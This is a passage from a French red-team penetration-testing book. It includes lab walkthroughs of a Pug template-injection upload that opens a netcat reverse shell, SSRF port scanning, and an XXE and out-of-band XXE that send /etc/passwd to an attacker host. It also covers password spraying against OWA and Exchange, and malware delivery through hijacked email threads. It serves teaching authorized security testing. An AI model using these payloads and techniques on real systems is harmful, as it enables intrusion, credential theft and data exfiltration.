	Nous envoyons le contenu de /etc/passwd vers le répertoire racine public Web, qui est le seul auquel nous avons accès en écriture (tel que cela a été conçu par les créateurs de l’application), permettant à l’utilisateur de voir ce contenu. Nous pourrions aussi faire du reverse shell (shell inversé) ou n’importe quoi d’autre qui soit autorisé avec les commandes du système.

	On peut voir que http://chat:3000/accounts.txt contiendra le contenu de /etc/passwd obtenu depuis le serveur Web.

	Utilisez-le pour effectuer une exécution de code distant (RCE) complète sur le système pour obtenir un shell (voir la Figure 3.28).


[image: FIGURE 3.28 : Récupérer le contenu de accounts.txt.]
FIGURE 3.28 : Récupérer le contenu de accounts.txt.
Maintenant, pouvons-nous automatiser tout cela ? Bien sûr que c’est possible. Un outil appelé Tplmap (https://github.com/epinna/tplmap) fonctionne de la même manière que SQLmap en ce sens qu’il essaie toutes les différentes combinaisons d’injections de template :
cd /opt/tplmap
./tplmap.py -u “http://chat:3000/ti?user=*&comment=asdfasdf&link=”

Cette étape est illustrée sur la Figure 3.29.
Références :
	https://portswigger.net/blog/server-side-template-injection

	https://hawkinsecurity.com/2017/12/13/rce-via-spring-engine-ssti/




Exécution de code JavaScript et distant
L’exécution de code distant est ce que nous recherchons dans chaque évaluation et test de pénétration d’application Web. Bien que l’on trouve des RCE à peu près partout, on les ren-
[image: FIGURE 3.29 : Utiliser Tplmap.]
FIGURE 3.29 : Utiliser Tplmap.
contre le plus souvent dans des endroits qui permettent les téléchargements, tels que : le téléchargement d’un shell Web, un exploit comme Imagetragick (https://imagetragick.com/), des attaques XXE avec des fichiers Office, des téléchargements basés sur la traversée de répertoire pour remplacer des fichiers critiques, et plus encore.
Traditionnellement, nous pourrions essayer de trouver une zone de téléchargement et un shell que nous pourrions utiliser. Une large liste de différents types de charges utiles de webshell peut être trouvée à cette adresse : https://github.com/tennc/webshell. Notez bien que je ne vérifie en rien aucun de ces shells – utilisez-les à vos risques et périls. J’ai rencontré beaucoup de shells Web que j’ai trouvés sur Internet et qui contenaient des logiciels malveillants.
Attaquer l’application de Chat vulnérable par téléchargement
Dans notre labo, nous allons effectuer une attaque RCE par téléchargement sur une application Node. Dans notre exemple, il y a une fonction qui permet n’importe quel téléchargement de fichier. Malheureusement, avec Node, nous ne pouvons pas simplement appeler un fichier via un navigateur Web pour exécuter ce fichier, comme en PHP. Donc, dans ce cas, nous allons utiliser une procédure de routage dynamique sur un terminal qui va essayer de rendre le contenu de fichiers Pug. L’erreur réside dans le fait que le terminal va lire le contenu du fichier en supposant qu’il s’agit d’un fichier Pug, puisque le répertoire par défaut existe sous Views. Des vulnérabilités de traversée de chemins et de lecture de fichiers locaux existent également sur ce terminal.
Pendant le processus de téléchargement, le module de traitement va renommer le fichier avec une chaîne aléatoire de caractères sans extension. Dans le contenu de la réponse de téléchargement de la page, on trouve l’emplacement du chemin d’accès au fichier téléchargé. En partant de ces informations, nous pouvons utiliser /drouting pour effectuer l’injection de template afin de réaliser l’exécution du code distant (voir la Figure 3.30).
[image: FIGURE 3.30 : Attaque par téléchargement.]
FIGURE 3.30 : Attaque par téléchargement.
Puisque nous savons que l’application sous-jacente est Node (JavaScript), quel type de charge utile pourrait-on télécharger pour être exécuté par Pug ? Revenons à l’exemple simple que nous avons utilisé plus tôt :
	Tout d’abord, affectez une variable au module require :
	-var x = global.process.mainModule.require




	L’utilisation du module child_process nous permet d’accéder aux fonctionnalités du système d’exploitation en exécutant n’importe quelle commande système :
	-x(‘child_process’).exec(‘nc [Your_IP] 8888 -e /bin/bash’)




Attaque RCE via un téléchargement :
	Rendez-vous sur http://chat:3000 et connectez-vous avec n’importe quel compte valide.

	Téléchargez un fichier texte contenant les informations ci-dessous. Dans Pug, le caractère ‘-’ signifie exécuter JavaScript.
	-var x = global.process.mainModule.require
-x(‘child_process’).exec(‘nc [Your_IP] 8888 -e /bin/bash’)



	Observez la requête et la réponse dans Burp à partir du téléchargement du fichier. Remarquez le hachage du fichier téléchargé ainsi que la référence à drouting (voir la Figure 3.31).


[image: FIGURE 3.31 : Attaque RCE basée sur un téléchargement.]
FIGURE 3.31 : Attaque RCE basée sur un téléchargement.
	Dans ce code de template, nous attribuons la fonction require à child_process .exec, ce qui nous permet d’exécuter des commandes au niveau du système d’exploitation. Ce code fera que le serveur Web se connectera à notre auditeur en cours d’exécution sur le port 8888 de [Votre_IP] et nous permettra d’avoir un shell sur le serveur Web.

	Sur la machine attaquante, lancez un port d’écoute netcat pour le shell à connecter à nouveau.

	nc -l -p 8888

	Dans un navigateur, accédez à votre fichier téléchargé. Le terminal drouting prend un template Pug spécifié et en effectue le rendu. Heureusement pour nous, le template Pug que nous avons téléchargé contient notre shell inversé. Nous utilisons la traversée de répertoire ‘../’ pour descendre d’un niveau afin d’accéder à l’emplacement de notre fichier malveillant :
	/drouting?filename=../uploads/[VOTRE FICHIER]



	Revenez à l’auditeur sur le port 8888 et interagissez avec vos shells !


Cette procédure est illustrée sur la Figure 3.32.
[image: FIGURE 3.32 : L’auditeur est à l’écoute !]
FIGURE 3.32 : L’auditeur est à l’écoute !


Server Side Request Forgery (SSRF)
La falsification de requêtes côté serveur ou SSRF (Server Side Request Forgery) est l’une de ces vulnérabilités qui, selon moi, est généralement mal comprise et, du point de vue terminologique, est souvent confondue avec les vulnérabilités CSRF (Cross-Site Request Forgery). Bien que cette vulnérabilité existe depuis un certain temps, elle n’a pas vraiment été suffisamment discutée, surtout avec des conséquences aussi graves. Jetons un coup d’œil au pourquoi et au comment.
SSRF est généralement utilisée pour accéder au système local, pénétrer le réseau interne, ou pour permettre une certaine sorte de pivotement (pivoting). La façon la plus simple de comprendre SSRF est de suivre un exemple. Supposons que vous ayez une application Web publique qui permet aux utilisateurs de télécharger sur Internet une image de profil via une URL. Vous vous connectez sur le site, vous allez sur votre profil, et vous cliquez sur le bouton qui indique de mettre à jour le profil depuis Imgur (un service d’hébergement d’images public). Vous fournissez l’URL de votre image (par exemple : https://i.imgur.com/FdtLoFI.jpg) et vous cliquez sur Envoyer. Ce qui se passe ensuite, c’est que le serveur crée une toute nouvelle requête, se rend sur le site de Imgur, récupère l’image (il peut faire une manipulation pour la redimensionner – imagetragick, vous vous rappelez ?), l’enregistre et envoie un message de confirmation à l’utilisateur. Comme vous pouvez le voir, nous avons fourni une URL, le serveur a pris cette URL, a récupéré l’image et l’a téléchargée dans sa base de données.
Initialement, nous avons fourni l’URL à l’application Web pour récupérer l’image de notre profil à partir d’une ressource externe. Cependant, que se passerait-il si nous faisions pointer à la place l’URL de l’image vers http://127.0.0.1:80/favicon.ico? Ceci indiquerait au serveur qu’au lieu d’aller sur quelque chose comme Imgur, il doit récupérer favicon.ico depuis le serveur Web local (c’est-à-dire lui-même). Si nous sommes capables d’obtenir un message 200 (succès de la requête) ou de définir notre image de profil avec le fichier local favicon, alors nous savons que nous avons potentiellement une vulnérabilité SSRF.
Si cela fonctionne sur le port 80, que se passerait-il si nous essayions de nous connecter à http://127.0.0.1:8080, qui est un port non accessible sauf depuis localhost ? C’est là que les choses deviennent intéressantes. Si nous recevons des requêtes/réponses HTTP complètes et que nous pouvons faire des requêtes GET sur le port 8080 localement, que se passe-t-il si nous trouvons un service Jenkins ou Apache Tomcat vulnérable ? Même si ce port n’écoute pas publiquement, nous pourrions être en mesure de compromettre cette boîte. Mieux encore, si, au lieu de 127.0.0.1, nous commencions à effectuer des requêtes sur des adresses IP internes : http://192.168.10.2-254 ? Pensez aux résultats de ces scanners Web qui divulguent des adresses IP internes, que vous avez bien sûr rejetées – mais c’est là qu’elles reviennent en jeu et que nous pouvons les utiliser pour abuser des services réseau internes.
Une vulnérabilité SSRF vous permet de faire ce qui suit :
	Accéder à des services sur une interface loopback.

	Scanner le réseau interne et potentiellement interagir avec ces services (GET/POST/HEAD).

	Lire les fichiers locaux sur le serveur en utilisant FILE://.

	Abuser l’interface Rest d’AWS (http://bit.ly/2ELv5zZ).

	Effectuer un mouvement latéral dans l’environnement interne.


Dans le diagramme de la Figure 3.33, nous trouvons une vulnérabilité SSRF sur une application Web dont nous nous servons pour notre attaque :
[image: FIGURE 3.33 : Schéma de vulnérabilité SSRF.]
FIGURE 3.33 : Schéma de vulnérabilité SSRF.
Prenons un exemple de la vie réelle :
	Sur votre application Web CSS (Chat Support System, http://chat:3000/), assurez-vous d’abord de créer un compte et de vous connecter.

	Une fois connecté, accédez à Direct Message (DM) via le lien, ou directement avec http://chat:3000/directmessage.

	Dans la zone de texte ‘Link’, saisissez un site Web tel que http://cyberspacekittens.com puis cliquez sur le lien Preview link.

	Vous devriez maintenant voir le rendu de la page http://cyberspacekittens.com, mais la barre URI devrait toujours pointer vers notre application Chat.

	Cela montre que le site est vulnérable à SSRF. Nous pourrions également essayer quelque chose comme :


chat:3000/ssrf?user=&comment=&link=http://127.0.0.1:3000

	et pointer sur localhost. Notez que la page est rendue et que nous accédons maintenant au site via localhost sur le serveur vulnérable (voir la Figure 3.34).


[image: FIGURE 3.34 : Exemple d’exploitation d’une vulnérabilité SSRF.]
FIGURE 3.34 : Exemple d’exploitation d’une vulnérabilité SSRF.
Nous savons que l’application elle-même écoute sur le port 3000. Nous pouvons lancer nmap sur la boîte de l’extérieur, et constater qu’aucun autre port Web n’est actuellement écouté, mais quels services sont disponibles uniquement pour localhost ? Pour le découvrir, nous avons besoin de procéder par force brute à travers tous les ports pour l’adresse 127.0.0.0.1. Nous pouvons le faire en utilisant Burp Suite et Intruder.
	Dans Burp Suite, allez dans l’onglet Proxy/HTTP History et trouvez la requête de notre dernier SSRF.

	Cliquez avec le bouton droit de la souris dans le corps de la requête puis sur Send to Intruder.

	L’onglet Intruder est activé. Allez dans l’onglet Positions et cliquez sur Clear.

	Cliquez et mettez en surbrillance le port ‘3000’, puis cliquez sur Add. Votre requête GET devrait ressembler à ceci :
	GET /ssrf?user=&comment=&link=http://127.0.0.1:§3000§HTTP/1.1



	Cliquez sur l’onglet Payloads et sélectionnez comme type de charge utile (Payload type) l’option ‘Numbers’. Dans les options, nous allons parcourir les ports 28000 à 28100. Normalement, vous devriez passer par tous les ports, mais cela suffira pour notre labo.

	Cliquez sur le bouton Start attack (voir la Figure 3.35).


[image: FIGURE 3.35 : Choisir le type de charge utile et ses options.]
FIGURE 3.35 : Choisir le type de charge utile et ses options.
[image: FIGURE 3.36 : À l’écoute des ports.]
FIGURE 3.36 : À l’écoute des ports.
Comme l’illustre la Figure 3.36, la longueur rapportée pour le port 28017 est beaucoup plus grande que pour toutes les autres requêtes. Si nous ouvrons un navigateur et que nous allons sur :
http://chat:3000/ssrf?user=&comment=&link=http://127.0.0.1:28017

nous devrions pouvoir nous servir de notre SSRF et obtenir l’accès à l’interface Web de MongoDB (voir la Figure 3.37).
[image: FIGURE 3.37 : Accéder à l’interface Web de MongoDB.]
FIGURE 3.37 : Accéder à l’interface Web de MongoDB.
Comme l’illustre la Figure 3.36, la longueur rapportée pour le port 28017 est beaucoup plus grande que pour toutes les autres requêtes. Si nous ouvrons un navigateur et que nous allons sur :
http://chat:3000/ssrf?user=&comment=&link=http://127.0.0.1:28017

nous devrions pouvoir nous servir de notre SSRF et obtenir l’accès à l’interface Web de MongoDB (voir la Figure 3.37).
Vous devriez pouvoir accéder à tous les liens, mais vous devez vous rappeler qu’il faut passer par SSRF. Pour accéder à serverStatus (http://chat:3000/serverStatus?text=1), vous devrez utiliser l’attaque SSRF et aller ici (voir la Figure 3.38) :
[image: FIGURE 3.38 : Accéder à serverStatus.]
FIGURE 3.38 : Accéder à serverStatus.
http://chat:3000/ssrf?user=&comment=&link=http://127.0.0.1:28017/serverStatus?text=1

La falsification de requêtes côté serveur peut être extrêmement dangereuse. Bien qu’il ne s’agisse pas d’une nouveauté, il y a de plus en plus de vulnérabilités SSRF qui sont trouvées de nos jours. Ceci conduit généralement à certaines découvertes critiques du fait que les SSRF permettent le pivoting au sein de l’infrastructure.
Ressources supplémentaires :
	Quantité d’informations sur l’encodage de localhost :
	https://www.agarri.fr/docs/AppSecEU15-Server_side_browsing_considered_harmful.pdf




	Bug Bounty – AirBNB, exemple :
	http://bit.ly/2ELvJxp





XML eXternal Entities (XXE)
XML signifie eXtensible Markup Language (langage de balisage extensible) et a été conçu pour envoyer/stocker des données faciles à lire. XML eXternal Entities (XXE) est une attaque sur les analyseurs de code XML dans les applications. L’analyse XML est couramment utilisée dans les applications qui permettent le téléchargement de fichiers, l’analyse de documents Office, de données JSON et même de jeux de type Flash. Lorsque l’analyse XML est autorisée, une validation incorrecte peut permettre à un attaquant de lire des fichiers, provoquer des attaques par déni de service et même l’exécution de code distant. À partir d’un certain niveau, l’application a les besoins suivants : 1) analyser les données XML fournies par l’utilisateur, 2) la partie identifiant système de l’entité doit se trouver dans la déclaration de type de document (DTD), et 3) le processeur XML doit valider/traiter la DTD et résoudre les entités externes.
[image: Tableau]
Dans le tableau, nous avons à la fois un fichier XML normal et un fichier spécialement conçu pour être lu depuis le fichier /etc/passwd du système. Nous allons voir si nous pouvons injecter une requête XML malveillante dans une requête XML réelle.
Labo XXE :
En raison d’une demande de configuration personnalisée, il existe une machine virtuelle VMWare différente pour l’attaque XXE. Vous pouvez la trouver ici :
http://thehackerplaybook.com/get.php?type=XXE-vm

Une fois téléchargée, ouvrez la machine virtuelle dans VMWare et lancez-la. Sur l’écran de démarrage, vous n’avez pas besoin de vous connecter, mais vous devriez voir l’adresse IP du système.
Aller dans le navigateur :
	Choisissez Burp Suite comme proxy pour tout le trafic.

	Accédez à l’URL : http://[IP de votre machine virtuelle].

	Interceptez le trafic et cliquez sur ‘Hack the XML’.


Si vous visualisez le code source HTML de la page après l’avoir chargée, il y a un champ caché qui est soumis via une requête POST. Le contenu XML ressemble à ceci :
<?xml version=»1.0» ?>
<!DOCTYPE thp [
<!ELEMENT thp ANY>
<!ENTITY book “Universe”>
]>
<thp>Hack The &book;</thp>

Dans cet exemple, nous avons précisé qu’il s’agit de la version XML 1.0, DOCTYPE, spécifié que l’élément racine est thp, que !ELEMENT indique comme type ANY (donc tout), et que !ENTITY définit le livre par la chaîne «Universe». Enfin, dans notre sortie XML, nous voulons afficher notre entité à partir de l’analyse du fichier XML.
C’est normalement ce que vous pourriez voir dans une application qui envoie des données XML. Puisque nous contrôlons les données POST qui contiennent la requête XML, nous pouvons essayer d’injecter nos propres entités malveillantes. Par défaut, la plupart des bibliothèques d’analyse XML prennent en charge le mot-clé SYSTEM qui permet de lire les données à partir d’une URI (y compris localement depuis le système en utilisant le protocole file://). Nous pouvons donc créer notre propre entité pour fabriquer un fichier lu sur /etc/passwd.
[image: Tableau]
XXE Lab – Lecture de fichier :
	Interceptez le trafic et cliquez sur ‘Hack the XML’ pour [Adresse IP de votre machine virtuelle]/xxe.php.

	Envoyez le trafic intercepté sur Repeater.

	Modifiez le paramètre data du POST comme suit :
	<?xml version=”1.0” ?><!DOCTYPE thp [ <!ELEMENT thp ANY><!ENTITY book SYSTEM “file:///etc/passwd”>]><thp>Hack The %26book%3B</thp>



	Notez que %26 = & et que %3B = ;. Nous devrons utiliser un codage en pourcentage pour le caractère esperluette et le point-virgule.

	Soumettez le trafic. Nous devrions pouvoir lire /etc/passwd (voir la Figure 3.39).


[image: FIGURE 3.39 : Attaque XXE.]
FIGURE 3.39 : Attaque XXE.

Out-of-Band XML External Entity (OOB-XXE)
Dans l’attaque précédente, nous avons pu récupérer la réponse dans des balises <thp>. Et si nous ne pouvions pas voir la réponse, ou si nous rencontrions des restrictions sur les caractères/fichiers ? Comment pourrions-nous faire en sorte que nos données soient envoyées « hors bande » (OOB) ? Au lieu de définir notre attaque dans la charge utile de la requête, nous pouvons fournir un fichier DTD (Document Type Definition) distant pour effectuer une attaque OOB-XXE. Une définition de type de document est un fichier XML bien structuré qui définit la structure et les éléments et attributs licites d’un document XML. Par souci de facilité, notre DTD contiendra toutes nos charges utiles d’attaque et d’exfiltration, ce qui nous aidera à contourner beaucoup de limitations de caractères. Dans notre exemple de labo, nous allons faire en sorte que le serveur XXE vulnérable demande une DTD hébergée sur un serveur distant.
Notre nouvelle attaque XXE sera réalisée en quatre étapes :
	Attaque XML XXE modifiée.

	L’analyseur XML vulnérable doit pouvoir récupérer un fichier DTD à partir d’un serveur attaquant.

	La DTD contient du code pour lire le fichier /etc/passwd.

	Le fichier DTD contient du code pour exfiltrer le contenu des données (potentiellement encodé).


Mise en place de notre boîte d’attaque et de notre charge utile OOB-XXE :
	Au lieu de la lecture de fichier d’origine, nous allons spécifier un fichier DTD externe :
	<!ENTITY % dtd SYSTEM “http://[Votre_IP]/payload.dtd”> %dtd;



	La nouvelle charge utile data de POST ressemblera à ce qui suit (n’oubliez pas de changer [Votre_IP]) :
	<?xml version=”1.0”?><!DOCTYPE thp [<!ELEMENT thp ANY ><!ENTITY % dtd SYSTEM “http://[Votre_IP]/payload.dtd”> %dtd;]><thp><error>%26send%3B</error></thp>



	Nous allons devoir héberger cette charge utile sur notre serveur attaquant en créant un fichier appelé payload.dtd :
	gedit /var/www/html/payload.dtd
	 <!ENTITY % file SYSTEM “file:///etc/passwd”>
 <!ENTITY % all “<!ENTITY send SYSTEM ‘http://[Votre_IP]:8888/collect=%file;’>”>%all;





	Le fichier DTD que vous venez de créer demande au serveur vulnérable de lire /etc/passwd et ensuite d’essayer de faire une requête Web avec nos données sensibles vers notre machine attaquante. Pour être sûrs de recevoir notre réponse, nous devons faire tourner un serveur Web pour héberger le fichier DTD et configurer un auditeur NetCat :
	nc -l -p 8888



	Vous allez rencontrer une erreur qui ressemble à ceci :
	simplexml_load_string(): parser error : Detected an entity reference loop in <b>/var/www/html/xxe.php</b> on line <b>20


Lors des attaques XXE, il est courant de rencontrer des erreurs d’analyseur. Souvent, les analyseurs XXE n’autorisent que certains caractères, et donc la lecture de fichiers contenant des caractères spéciaux provoquera une rupture de l’analyse. Que pouvons-nous faire pour résoudre ce problème ? Dans le cas de PHP, il est possible d’utiliser les flux d’entrée/sortie (https://php.net/manual/fr/wrappers.php.php) pour lire les fichiers locaux et les encoder via php://filter/read=convert.base64-encode. Redémarrons notre auditeur NetCat, et modifions notre fichier payload.dtd pour utiliser cette fonctionnalité (voir la Figure 3.40) :
	<!ENTITY % file SYSTEM “php://filter/read=convert.base64-encode/resource=file:///etc/passwd”>
<!ENTITY % all “<!ENTITY send SYSTEM ‘http://[Votre_IP]:8888/collect=%file;’>”>%all;




[image: FIGURE 3.40 : Une attaque OOB-XXE.]
FIGURE 3.40 : Une attaque OOB-XXE.
Une fois que nous répétons notre nouvelle requête modifiée, nous pouvons maintenant voir que notre serveur victime récupère d’abord le fichier payload.dtd, le traite, et effectue une requête Web secondaire vers votre gestionnaire NetCat qui écoute sur le port 8888. Bien entendu, la requête GET sera encodée en base64, et nous devrons donc la décoder.
Autres charges utiles XXE :
	https://bit.ly/2nZNuU4

	https://bit.ly/2RmN9Im




Conclusion
Bien qu’il ne s’agisse que d’un petit aperçu de toutes les différentes attaques Web que vous pouvez rencontrer, l’objectif était ici d’ouvrir vos yeux sur la façon dont ces plus récents frameworks introduisent des attaques aussi bien nouvelles qu’anciennes. La plupart des scanners de vulnérabilités et d’applications courants ont tendance à passer à côté de beaucoup de ces vulnérabilités plus complexes, en raison du fait qu’elles sont spécifiques à un langage ou à un certain framework. Ce que je voulais surtout souligner, c’est que, pour effectuer un examen adéquat, vous avez besoin de réellement comprendre le langage et les frameworks.


1.  Littéralement, primes de bogues. Voir par exemple https://fr.wikipedia.org/wiki/Bug_bounty.
2.  Voir par exemple https://fr.wikipedia.org/wiki/Cross-site_scripting.
3.  Voir par exemple https://pugjs.org/language/code.html.
4. Un fuzzing tool est un outil de test à données aléatoires. Voir par exemple https://fr.wikipedia.org/wiki/Fuzzing.
5. IIFE est l’acronyme de Immediately Invoked Function Expression. Voir par exemple https://developer.mozilla.org/fr/docs/Glossaire/IIFE.

Chapitre 4
L’offensive – Compromettre le réseau
Le deuxième jour de votre évaluation, vous avez lancé nmap sur l’ensemble du réseau, exécuté des scanners de vulnérabilités sans réussite, et vous n’avez pu identifier aucun un point d’entrée initial dans aucune de leurs applications Web. Légèrement démoralisé, vous prenez un peu de recul et vous révisez toutes vos notes de reconnaissance. Vous savez qu’une fois que vous pouvez accéder au réseau, il existe une myriade d’astuces vous permettant d’obtenir plus d’informations d’identification, de pivoter entre les boîtes, d’abuser des fonctionnalités dans Active Directory, et de trouver le butin de l’espace dont nous avons tous envie. Bien sûr, vous savez que ce ne sera pas une tâche facile. Il y aura de nombreux câbles de déclenchement à éviter, de protections à contourner, et de pistes à explorer.
Dans l’édition précédente du livre, cette section s’était concentrée sur l’utilisation des résultats des scanners de vulnérabilité et leur exploitation. Ceci était réalisé en utilisant des outils comme Metasploit, Heartbleed, Shellshock, les injections SQL, et d’autres types d’exploits courants. Plus récemment, il y a eu beaucoup d’importantes vulnérabilités d’exécution de code comme Eternal Blue1 (MS017-10), de multiples exploits contre l’outil d’intégration continue Jenkins, contre Apache Struts 2, contre des applications CMS, et ainsi de suite. Dans cet ouvrage orienté Red Team, nous nous intéresserons plutôt sur la manière d’abuser d’environnements d’entreprises pour, en quelque sorte, leur tondre la laine sur le backbone.
Dans ce chapitre, vous allez vous concentrer sur les tactiques de la Red Team, l’abus d’infrastructures d’entreprises, l’obtention d’informations d’identification, l’apprentissage du réseau interne et le pivoting entre hôtes et réseaux. Nous procéderons sans jamais lancer un seul analyseur de vulnérabilités.
Trouver des identifiants de l’extérieur du réseau
En tant que membre d’une Red Team, trouver le point d’entrée initial peut être une tâche complexe et nécessitant beaucoup de ressources. Dans les précédentes éditions, nous avions cloné les pages d’authentification de nos victimes, acheté des domaines « sosies », hameçonné des cibles, créé des logiciels malware personnalisés, etc.
Parfois, je dis à mes Red Teams de simplement… rester simples. Bien souvent, nous élaborons des plans avancés, mais ce qui finit par fonctionner, c’est le plan le plus élémentaire. Et voici l’un des plus faciles...
L’une des techniques les plus basiques, mais aussi des plus courantes, est le « craquage » de mots de passe par force brute. Mais, en tant que Red Teamers, nous devons voir comment faire les choses intelligemment. Au fur et à mesure que les entreprises grandissent, elles ont besoin de plus de technologies et d’outils. Pour un attaquant, cela ouvre définitivement l’accès au terrain de jeu. Lorsque les sociétés s’ouvrent à Internet, nous commençons à voir l’authentification requise pour le courrier électronique (Office 365 ou OWA – Outlook Web App), les outils de communication (Lync, XMPP ou encore WebEx), les outils de collaboration (JIRA, Slack, Hipchat, Huddle, etc.) et autres services externes (Jenkins, sites CMS, sites de support). Ce sont les cibles que nous voulons atteindre.
La raison pour laquelle nous essayons d’attaquer ces serveurs/services est que nous recherchons des applications qui s’authentifient sur l’infrastructure LDAP/Active Directory (AD) de la victime. Cela peut se faire par le biais d’une certaine fédération AD, d’un processus d’authentification unique (Single SignOn), ou directement sur AD. Nous devons trouver des références communes à utiliser pour passer à l’attaque secondaire. Dès la phase de reconnaissance, nous avons trouvé et identifié un grand nombre de comptes de courriel et de noms d’utilisateur, que nous utiliserons pour attaquer à l’aide de ce qu’on appelle le Password Spraying (littéralement, pulvérisation de mots de passe). Nous allons cibler toutes les différentes applications et essayer de deviner les mots de passe de base comme nous l’avons observé dans le monde réel avec des campagnes de style APT2 (article US-CERT : http://bit.ly/2qyB9rb).
Pourquoi devrions-nous tester l’authentification sur différents services externes ?
	Certaines sources d’authentification n’enregistrent pas les tentatives d’accès provenant de services externes.

	Bien que nous voyons généralement que le courrier électronique ou le VPN nécessite une authentification à deux facteurs, les systèmes de chat orientés vers l’extérieur peuvent ne pas répondre à de tels critères.

	La réutilisation de mot de passe est très élevée.

	Parfois, les services externes ne verrouillent pas les comptes AD en cas de tentatives multiples et infructueuses.


Il existe beaucoup d’outils d’attaque par force brute, cependant nous allons uniquement nous concentrer sur quelques-uns d’entre eux. Le premier est un outil de Spiderlabs (http://bit.ly/2EJve6N) appelé Spray. Bien que Spray soit un peu plus compliqué à utiliser, j’aime beaucoup le concept des services qu’il « pulvérise ». Par exemple, il prend en charge SMB, OWA et Lync (Microsoft Chat).
Pour utiliser Spray, vous devez spécifier ce qui suit :
spray.sh -owa <IPcible> <ListeUtilisatteurs> <ListeMotsdepasse> <NbEssaisParPériodeVerrouillage> <AttenteEnMinutesEntreEssais> <Domaine>

Comme vous allez le voir dans l’exemple qui suit, nous l’avons exécuté contre un faux serveur de messagerie OWA sur cyberspacekittens (qui n’existe plus) et, quand il est arrivé au mot de passe Spring2018, il a trouvé une tentative réussie (vous pouvez le constater par la longueur des données).
Une question souvent posée concerne les mots de passe à essayer, car vous ne disposez que d’un certain nombre de tentatives avant qu’un compte ne soit verrouillé. Il n’y a pas de bonne réponse à cette question, et cela dépend fortement de l’entreprise. Nous avions l’habitude d’utiliser des mots de passe très simples comme ‘Password123’, mais ceux-ci sont devenus plus rares à trouver. Les mots de passe qui nous donnent généralement au moins une identité valable sont les suivants :
	Saison + Année

	Équipe sportive locale + chiffres

	Examiner d’anciennes brèches, trouver des utilisateurs pour l’entreprise cible et utiliser des mots de passe similaires.

	Nom de l’entreprise + Année/Chiffres/Caractères spéciaux ( !, $, #, @)


Partant de là, nous exécutons ces scans 24 heures sur 24, 7 jours sur 7, mais lentement afin de ne pas déclencher de blocage de compte (voir la Figure 4.1). N’oubliez pas qu’il suffit d’un seul mot de passe pour mettre le pied dans la porte !
La configuration de Spray est assez simple et peut être facilement convertie pour d’autres applications. Ce que vous devez faire est de capturer la requête POST pour une tentative de mot de passe (vous pouvez le faire dans Burp Suite), copier toutes les données de la requête, et les enregistrer dans un fichier. Pour tous les champs qui seront balayés par force brute, vous devrez fournir la chaîne «sprayuser» et «spraypassword».
[image: FIGURE 4.1 : Utiliser Spray (le script se sert de Curl pour l’authentification OWA).]
FIGURE 4.1 : Utiliser Spray (le script se sert de Curl pour l’authentification OWA).
Par exemple, dans notre cas, le fichier post-request.txt ressemblerait à ceci :
POST /owa/auth.owa HTTP/1.1
Host: mail.cyberspacekittens.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://mail.cyberspacekittens.com/owa/auth/logon.aspx?replaceCurrent=1&url=https%3a%2f%2fmail.cyberspacekittens.com%2fowa%2f
Cookie: ClientId=VCSJKT0FKWJDYJZIXQ; PrivateComputer=true; PBack=0
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 131
 
destination=https%3A%2F%2Fcyberspacekittens.com%2Fowa%2F&flags=4&forcedownlevel=0&username=sprayuser@cyberspacekittens.com&password=spraypassword&passwordText=&isUtf8=1

Comme mentionné précédemment, un avantage supplémentaire de spray.sh est qu’il supporte également SMB et Lync. Un autre outil qui tire profit et abuse des résultats du spraying est appelé Ruler (https://github.com/sensepost/ruler). Ruler est un outil écrit par Sensepost qui vous permet d’interagir avec les serveurs Exchange via le protocole soit MAPI/HTTP soit RPC/HTTP. Bien que nous allons parler principalement de l’utilisation de Ruler pour la collecte d’informations par force brute, cet outil supporte également certaines attaques d’exploitation persistantes, que nous allons aborder de manière superficielle.
La première caractéristique est semblable à ce que nous avons vu avec l’outil Spray, c’est-à-dire balayer par force brute des listes de noms d’utilisateurs et de mots de passe. Ruler va prendre de telles listes, et il tentera de trouver des informations d’identification. Pour cela, il essaiera automatiquement de découvrir les configurations Exchange nécessaires. Pour lancer Ruler :
ruler --domain cyberspacekittens.com --users ./users.txt --passwords ./passwords.txt

C’est ce qu’illustre la Figure 4.2.
[image: FIGURE 4.2 : Lancer Ruler.]
FIGURE 4.2 : Lancer Ruler.
Une fois que nous avons trouvé un seul mot de passe, on peut ensuite utiliser Ruler pour décharger tous les utilisateurs dans la liste d’adresses globale O365 (LAG) pour trouver plus d’adresses de messagerie et les groupes d’emails auxquels elles appartiennent (voir la Figure 4.3).
[image: FIGURE 4.3 : Récupérer des adresses de messagerie avec Ruler.]
FIGURE 4.3 : Récupérer des adresses de messagerie avec Ruler.
En prenant ces adresses email, nous devrions pouvoir envoyer tous ces comptes vers l’outil de force brute, et trouver encore plus d’informations d’identification – c’est le cercle des mots de passe. Le but principal de l’outil Ruler est que, une fois que vous avez des informations d’identification, vous pouvez abuser des fonctionnalités d’Office/Outlook pour créer des règles et des formulaires sur le compte email d’une victime. L’adresse ci-dessous fournit un excellent résumé de SensePost quant à la façon dont ils ont pu abuser de ces fonctionnalités pour exécuter des macros contenant notre charge utile Empire :
https://sensepost.com/blog/2017/outlook-forms-and-shells/

Si vous ne décidez pas d’utiliser les formulaires Outlook, ou si les fonctionnalités voulues ont été désactivées, nous pouvons toujours en revenir aux bonnes vieilles attaques sur la messagerie. C’est là que vous vous sentez un peu « sale », car vous devrez vous connecter en tant qu’un des utilisateurs et lire tous leurs emails, ce qui peut provoquer quelques séances de fou rire. Ce que nous voulons, c’est trouver une conversation existante avec quelqu’un avec qui il semble y avoir une certaine confiance (mais pas trop de relations amicales tout de même). Puisqu’un rapport a déjà été établi, nous voulons en profiter pour envoyer des logiciels malveillants aux destinataires. Généralement, nous modifions une de leurs conversations avec une pièce jointe (comme un fichier Office ou un exécutable), et nous la leur envoyons à nouveau, mais cette fois avec notre agent malveillant. L’utilisation de ces connexions de confiance et d’emails provenant d’adresses internes offre une forte chance de réussite.
